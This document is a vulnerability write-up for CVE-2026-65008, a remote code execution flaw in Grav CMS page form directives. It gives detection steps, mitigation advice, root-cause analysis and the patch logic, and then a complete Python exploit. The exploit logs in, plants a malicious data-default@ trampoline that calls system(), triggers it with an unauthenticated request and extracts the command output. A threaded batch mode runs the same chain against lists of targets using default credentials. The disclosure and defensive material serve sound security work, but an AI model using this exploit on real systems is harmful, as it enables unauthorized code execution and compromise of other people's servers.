#Summary
CVE-2026-65008 is a critical (CVSS 9.8) remote code execution vulnerability in Grav CMS (before version 2.0.7). A page author with the admin.pages or api.pages.write permission can plant a malicious callable directive in a page's form definition. When any visitor - including unauthenticated ones - loads that page, the Form plugin builds the form and executes the attacker's shell command as the web-server user, with no input validation.
#Am I affected?
- Affected: Grav CMS versions before 2.0.7 (explicitly tested on 2.0.4; CVE introduced in version 0)
- Patched: Grav CMS >= 2.0.7
- Default configuration: affected
- Access needed: authenticated page-author account (admin.pages or api.pages.write permission); the execution is triggered unauthenticated
#How to check
Check your Grav version:
grep "version:" system/config/system.yaml | head -1| Output | Verdict |
|---|---|
version: 2.0.7 or higher |
Not vulnerable |
version: 2.0.6 or lower |
Vulnerable to CVE-2026-65008 |
| Missing or 0.x - 2.0.4 | Vulnerable to CVE-2026-65008 |
If you cannot access the system config directly, attempt to view the Grav admin dashboard. In the bottom right of the layout, the Grav version is displayed. Any version before 2.0.7 requires immediate patching.
#Fix and mitigation
- Fix: upgrade to Grav CMS 2.0.7 or later. Download from https://github.com/getgrav/grav/releases/tag/2.0.7
- If you cannot upgrade: immediately revoke the
admin.pagesandapi.pages.writepermissions from untrusted accounts. This removes the precondition for planting the malicious directive. Restrict page creation to administrators only. - Detection: monitor web-server access logs for POST requests to
/api/v1/pagesand/api/v1/auth/tokenfrom unexpected sources; check theheader(frontmatter) field of newly created pages fordata-default@:ordata-*@:directives.
#Root cause analysis
#Vulnerable code path
Grav blueprints support "dynamic" field properties declared with the data-<property>@ syntax. These properties accept a callable plus arguments, which Grav invokes at render time to populate the field.
In system/src/Grav/Common/Data/Blueprint.php, the dynamicData() method handles this:
protected function dynamicData(array &$field, $property, array &$call)
{
$params = $call['params'];
if (is_array($params)) {
$function = array_shift($params);
} else {
$function = $params;
$params = [];
}
[$o, $f] = explode('::', (string) $function, 2);
$data = null;
if (!$f) {
if (function_exists($o)) {
$data = call_user_func_array($o, $params); // bare function: system(), exec(), ...
}
} else {
if (method_exists($o, $f)) {
$data = call_user_func_array([$o, $f], $params); // Class::method trampoline
}
}
// ... returns $data into field property
}The vulnerability: the callable string and its arguments are taken directly from the blueprint with no allowlist validation. No check that $function is a safe builtin or that $params do not contain dangerous callables.
#How input reaches the sink
The Form plugin assembles blueprints from page frontmatter (YAML). When a page author edits a page in Grav's Admin UI or via the REST API, the frontmatter becomes the form definition:
---
title: Example
form:
name: myform
fields:
myfield:
type: text
data-default@: ['Grav\Common\Utils::arrayFilterRecursive', {'id': 'x'}, 'system']
---When any visitor (authenticated or not) requests the page, the Form plugin calls getBlueprint(), which walks all field definitions and invokes dynamicData() for each data-*@ directive. The attacker-controlled callable and arguments flow directly to call_user_func_array().
#The attack in two paths
Path 1 (direct dangerous builtin):
data-default@: ['system', 'id']
-> call_user_func_array('system', ['id'])
-> executes system('id')Path 2 (trampoline):
Grav ships Grav\Common\Utils::arrayFilterRecursive($source, $fn), which calls $fn($key, $value) on every array element. By passing a shell command as an array key and system as the filter function, the command runs:
data-default@: ['Grav\Common\Utils::arrayFilterRecursive', {'id': 'x'}, 'system']
-> call_user_func_array('Grav\Common\Utils::arrayFilterRecursive', [{'id': 'x'}, 'system'])
-> arrayFilterRecursive calls system('id', 'x')
-> executes the command#Patch diff
The fix adds two new guard methods to Blueprint.php:
#What the fix does
The 2.0.7 update inserts a security guard at the top of dynamicData() that checks both the callable and all its arguments:
if (!$this->isSafeDynamicCall($function, $params)) {
return; // Refuse to call anything dangerous
}The new isSafeDynamicCall() method:
- Blocks direct dangerous builtins (system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec, call_user_func_array, etc.)
- Recursively scans all arguments to detect dangerous callables smuggled in as array elements
This prevents both direct injection and the trampoline bypass. Legitimate dynamic providers (static methods returning option arrays) are unaffected because they do not take callable arguments.
The denylist (Utils::isDangerousFunction()) already existed; the bug was simply that dynamicData() never consulted it. The patch corrects this omission.
#Proof of concept
#exploit.py - Grav CMS Authenticated-Write to Unauthenticated-Trigger RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-65008 - Grav CMS Blueprint::dynamicData() remote code execution
Affected: Grav CMS (getgrav/grav) all versions before 2.0.7 (tested on 2.0.4)
Type: RCE (authenticated page write -> unauthenticated trigger)
Grav blueprints support "dynamic" field properties written as `data-<property>@`,
whose value is a callable plus arguments. Blueprint::dynamicData() feeds that
callable and its arguments straight into call_user_func_array() with no allowlist.
The Form plugin routes page frontmatter through this path, so an account that may
write pages (admin.pages / api.pages.write) can plant a malicious callable in a
page's form definition. The command then runs as the web-server user whenever
anyone - including an unauthenticated visitor - loads that page, because building
the form for display walks the dynamic directives.
This PoC uses the documented `Grav\\Common\\Utils::arrayFilterRecursive` trampoline:
arrayFilterRecursive($source, $fn) calls $fn($key, $value) on every element, so
passing {<shell-command>: 'x'} as $source and 'system' as $fn yields
system('<shell-command>', 'x'). The trampoline callable contains '::', which keeps
the vulnerable method's `[$o, $f] = explode('::', $function, 2)` destructuring well
formed on PHP 8 (a bare builtin name such as 'system' has no '::', so index 1 is
undefined and PHP 8 aborts the request with a warning before the call is reached).
Execution proof is reflection-proof: the planted command echoes the integer PRODUCT
of two random numbers, computed by the remote shell. The directive only carries the
multiplication expression, never the product, so finding the product in the response
can only mean the shell ran.
Usage:
python exploit.py --host 127.0.0.1 --port 80 --username editor --password secret
python exploit.py --host https://grav.example.com --username editor --password secret --command "uname -a"
python exploit.py --host https://grav.example.com/cms --username editor --password secret
python exploit.py --list targets.txt --workers 20 --username editor --password secret
Credentials: the write step needs a valid Grav account holding admin.pages or
api.pages.write (any content editor). Supply it with --username/--password. The
trigger step itself is unauthenticated.
"""
import argparse
import random
import secrets
import sys
import time
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(1)
CVE_ID = "CVE-2026-65008"
VULN_TYPE = "RCE"
API_PREFIX = "/api/v1"
HTTP_TIMEOUT = 30
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------
# Core building blocks (shared by single-target and scan modes)
# --------------------------------------------------------------------------
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
netloc = host
# Only append the port when it is not the scheme default.
if not ((use_tls and port == 443) or (not use_tls and port == 80)):
netloc = f"{host}:{port}"
prefix = (path or "/").rstrip("/")
return f"{scheme}://{netloc}{prefix}"
def _build_directive(shell_cmd: str) -> list:
"""
The malicious `data-default@` value. Trampoline form:
[ callable, source-array, inner-callable ]
Grav runs call_user_func_array('Grav\\Common\\Utils::arrayFilterRecursive',
[ {shell_cmd: 'x'}, 'system' ]), which in turn runs system(shell_cmd, 'x').
The '::' in the callable keeps dynamicData()'s explode('::', ...) destructuring
valid on PHP 8.
"""
return [
"Grav\\Common\\Utils::arrayFilterRecursive",
{shell_cmd: "x"},
"system",
]
def _plan_payload(command: str) -> dict:
"""
Build a one-shot plan: the random route/field names, the shell command to plant
(user command bracketed by locator markers, plus a reflection-proof product
probe), and the strings used to confirm and extract output.
"""
marker = secrets.token_hex(6)
a = random.randint(100000, 999999)
b = random.randint(100000, 999999)
product = a * b
# echo MARKERP=<product> -> only the executed shell produces the integer.
# <command> output is bracketed by MARKERB .. MARKERE for display extraction.
shell_cmd = (
"echo {m}B; {cmd} 2>&1; echo {m}E; echo {m}P=$(( {a} * {b} ))"
).format(m=marker, cmd=command, a=a, b=b)
route = "p" + secrets.token_hex(5)
field = "f" + secrets.token_hex(4)
form_name = "f" + secrets.token_hex(4)
header_frontmatter = {
"form": {
"name": form_name,
"fields": {
field: {
"type": "text",
"data-default@": _build_directive(shell_cmd),
},
},
},
}
return {
"marker": marker,
"product": product,
"proof_needle": "{m}P={p}".format(m=marker, p=product),
"out_begin": marker + "B",
"out_end": marker + "E",
"route": route,
"header": header_frontmatter,
}
def _login(session: requests.Session, base: str, username: str, password: str) -> str:
r = session.post(
base + API_PREFIX + "/auth/token",
json={"username": username, "password": password},
timeout=HTTP_TIMEOUT,
verify=False,
)
if r.status_code != 200:
raise RuntimeError(f"login failed (HTTP {r.status_code})")
data = r.json().get("data", {})
token = data.get("access_token")
if not token:
raise RuntimeError("login returned no access_token")
return token
def _create_page(session: requests.Session, base: str, token: str, plan: dict) -> None:
r = session.post(
base + API_PREFIX + "/pages",
headers={"Authorization": "Bearer " + token},
json={
"route": plan["route"],
"title": "status",
"template": "default",
"content": "ok",
"header": plan["header"],
},
timeout=HTTP_TIMEOUT,
verify=False,
)
if r.status_code not in (200, 201):
raise RuntimeError(f"page create failed (HTTP {r.status_code}): {r.text[:200]}")
def _delete_page(session: requests.Session, base: str, token: str, route: str) -> bool:
try:
r = session.delete(
base + API_PREFIX + "/pages/" + route,
headers={"Authorization": "Bearer " + token},
timeout=HTTP_TIMEOUT,
verify=False,
)
return r.status_code in (200, 202, 204)
except requests.RequestException:
return False
def _trigger(session: requests.Session, base: str, route: str):
"""Unauthenticated GET of the planted page. Returns (body, elapsed_seconds)."""
t0 = time.time()
r = session.get(base + "/" + route, timeout=HTTP_TIMEOUT, verify=False)
return r.text, time.time() - t0
def _run_chain(host, port, use_tls, path, username, password, command):
"""
Full authenticated-write -> unauth-trigger chain. Returns a dict describing the
outcome. Never prints, never exits - callers decide how to report.
"""
base = _base_url(host, port, use_tls, path)
plan = _plan_payload(command)
session = requests.Session()
result = {
"base": base,
"route": plan["route"],
"created": False,
"deleted": False,
"success": False,
"evidence": "",
"command_output": "",
"body": "",
}
token = _login(session, base, username, password)
_create_page(session, base, token, plan)
result["created"] = True
try:
body, _elapsed = _trigger(session, base, plan["route"])
result["body"] = body
if plan["proof_needle"] in body:
result["success"] = True
# Extract the user command's own output from between the markers.
cmd_out = ""
if plan["out_begin"] in body and plan["out_end"] in body:
seg = body.split(plan["out_begin"], 1)[1]
cmd_out = seg.split(plan["out_end"], 1)[0].strip()
result["command_output"] = cmd_out
short = cmd_out.splitlines()[0] if cmd_out.splitlines() else "(no stdout)"
result["evidence"] = (
f"shell-computed product {plan['product']} returned in response; "
f"command output: {short}"
)
else:
result["evidence"] = "directive planted but no execution evidence (target may be patched)"
finally:
# Always try to remove the planted page, success or not.
result["deleted"] = _delete_page(session, base, token, plan["route"])
return result
# --------------------------------------------------------------------------
# Scan mode
# --------------------------------------------------------------------------
def _try_exploit(host, port, use_tls=False, path="/", username="admin",
password="admin", command="id", **kwargs):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
try:
res = _run_chain(host, port, use_tls, path, username, password, command)
return res["success"], res["evidence"]
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e:
return False, f"error ({e.__class__.__name__}: {e})"
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, username="admin",
password="admin", command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{path if path != '/' else ''}"
ok, evidence = _try_exploit(host, port, use_tls, path, username, password, command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------
# Single-target mode
# --------------------------------------------------------------------------
def exploit(host, port, use_tls, path, username, password, command):
header(host, port)
base = _base_url(host, port, use_tls, path)
step(1, f"Authenticating to the Grav API as '{username}' (page-author account)...")
session = requests.Session()
try:
token = _login(session, base, username, password)
except Exception as e:
done(False, f"authentication failed: {e}")
print(f" got access token ({len(token)} bytes)")
plan = _plan_payload(command)
step(2, f"Planting a form page at /{plan['route']} with a malicious data-default@ directive...")
try:
_create_page(session, base, token, plan)
except Exception as e:
done(False, f"page create failed: {e}")
print(" page created (HTTP 201)")
step(3, f"Triggering with an UNAUTHENTICATED GET of /{plan['route']} (building the form runs the command)...")
nosess = requests.Session()
try:
body, elapsed = _trigger(nosess, base, plan["route"])
except Exception as e:
_delete_page(session, base, token, plan["route"])
done(False, f"trigger request failed: {e}")
print(f" response received ({len(body)} bytes, {elapsed:.2f}s)")
success = plan["proof_needle"] in body
cmd_out = ""
if plan["out_begin"] in body and plan["out_end"] in body:
seg = body.split(plan["out_begin"], 1)[1]
cmd_out = seg.split(plan["out_end"], 1)[0].strip()
step(4, "Cleaning up: deleting the planted page...")
deleted = _delete_page(session, base, token, plan["route"])
print(f" {'page deleted' if deleted else 'WARNING: could not delete page /' + plan['route']}")
if success:
section("COMMAND OUTPUT", cmd_out if cmd_out else "(command produced no stdout)")
section(
"EXECUTION PROOF",
f"shell computed {plan['product']} from a multiplication the directive only "
f"carried as an expression -> the remote shell ran (reflection would show the "
f"expression, never the product).",
)
first = cmd_out.splitlines()[0] if cmd_out.splitlines() else "(no stdout)"
done(True, f"RCE confirmed - command '{command}' executed as the web-server user: {first}")
else:
section("SERVER RESPONSE (first 600 bytes)", body[:600])
done(False, "directive planted but no execution evidence in response - target may be patched (>=2.0.7)")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--command", default="id", help="Shell command to execute on the target (default: id)")
parser.add_argument("--username", default="admin", help="Grav account with admin.pages / api.pages.write (default: admin)")
parser.add_argument("--password", default="admin", help="Password for --username (default: admin)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, password=args.password, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.password, args.command)#Usage
# Single target
python exploit.py --host 192.0.2.10 --username editor --password 's3cret' --command id
# Full URL with TLS and custom base path
python exploit.py --host https://grav.example.com:8443/cms --username editor --password 's3cret' --command 'uname -a'
# Batch scan (one target per line)
python exploit.py --list targets.txt --workers 20 --username editor --password 's3cret'#Vulnerable target (Grav 2.0.4)
[STEP 1] Authenticating to the Grav API as 'operator' (page-author account)...
got access token (249 bytes)
[STEP 2] Planting a form page at /p58d7f719e6 with a malicious data-default@ directive...
page created (HTTP 201)
[STEP 3] Triggering with an UNAUTHENTICATED GET of /p58d7f719e6 (building the form runs the command)...
response received (14472 bytes, 0.38s)
[STEP 4] Cleaning up: deleting the planted page...
page deleted
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' executed as the web-server user: uid=33(www-data) gid=33(www-data) groups=33(www-data)#Patched target (Grav 2.0.7)
[STEP 1] Authenticating to the Grav API as 'operator' (page-author account)...
got access token (249 bytes)
[STEP 2] Planting a form page at /pc5a5faddae with a malicious data-default@ directive...
page created (HTTP 201)
[STEP 3] Triggering with an UNAUTHENTICATED GET of /pc5a5faddae (building the form runs the command)...
response received (14254 bytes, 0.38s)
[STEP 4] Cleaning up: deleting the planted page...
page deleted
RESULT : FAILURE
EVIDENCE: directive planted but no execution evidence in response - target may be patched (>=2.0.7)#Exploitation notes
- Preconditions: An authenticated page-author account holding
admin.pagesorapi.pages.writepermission. This is a realistic threat in multi-author environments where editors are trusted to create content but not to patch the server. - Reliability: High. The exploit plants a single throwaway page with no interaction needed from the target; the unauthenticated trigger is a plain GET. Execution is detected using a reflection-proof oracle (shell-computed integer product).
- Impact: Complete code execution as the web-server user. The attacker can read files, modify content, establish persistence, or pivot to the underlying system.
- Chaining potential: In shared hosting or multi-tenant environments, RCE on the web-server account can lead to lateral movement to other hosted applications or the host OS.
#References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-65008
- GitHub GHSA advisory: https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
- Fix commit: https://github.com/getgrav/grav/commit/6568f2d27ce9e1e578c4d0a690bd3e8e0a0689b2
- Grav Release 2.0.7: https://github.com/getgrav/grav/releases/tag/2.0.7
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-65008
